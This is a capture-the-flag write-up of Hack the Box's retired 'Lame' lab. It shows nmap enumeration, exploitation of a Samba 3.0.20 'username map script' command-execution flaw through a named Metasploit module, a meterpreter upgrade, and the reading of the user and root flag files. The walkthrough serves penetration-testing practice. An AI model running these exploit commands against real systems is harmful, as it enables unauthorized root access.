Hello friends!! Today we are going to solve another CTF challenge “Lame” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit write up of any Active lab therefore we have chosen retried Lame lab.

Level: Beginners           

Task: find user.txt and root.txt file in victim’s machine.

Let’s begin the Game!!

Since these labs are online available therefore they have static IP and IP of Lame is 10.10.10.3 so let’s begin with nmap port enumeration.

nmap -sV 10.10.10.3

From given below image, you can observe that we found so many open ports such as 21 for ftp, 22 for ssh, 139 and 445 for samba service and also got hit OS platform can be Unix or linux.

From nmap result we saw samba service smbd 3.x is running in victim’s machine therefore next I search for any exploit related to this service in Google.

Gratefully Google gave me hint in their 2^nd link of exploit DB.

Then I run msfconsole command in terminal and load metasploit framework for using Samba 3.0.20 < 3.0.25rc3 – ‘Username’ map script’ Command Execution module for exploiting target machine.

use exploit/multi/samba/usermap_script

msf exploit(multi/samba/usermap_script) > set rhost 10.10.10.3

msf exploit(multi/samba/usermap_script) > exploit

Terrific!! I have got unauthorized access of victims command shell through session 1 as shown in below image.

I had updated command shell into meterpreter shell by executing following command.

session -u 1

Inside path: /home/makis I found user.txt file and used cat “file name” command for reading this file.

cd home

ls

cd makis

ls

cat user.txt

Great!! We got our 1^st flag successfully

Inside path: /root I found root.txt file and used cat “file name” command for reading this file.

cd root

ls

cat root.txt

Great!! We got our 2^st flag successfully

It will be very stress-free challenge for those candidate who have knowledge little know vulnerability analysis.

Happy Hacking!!

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here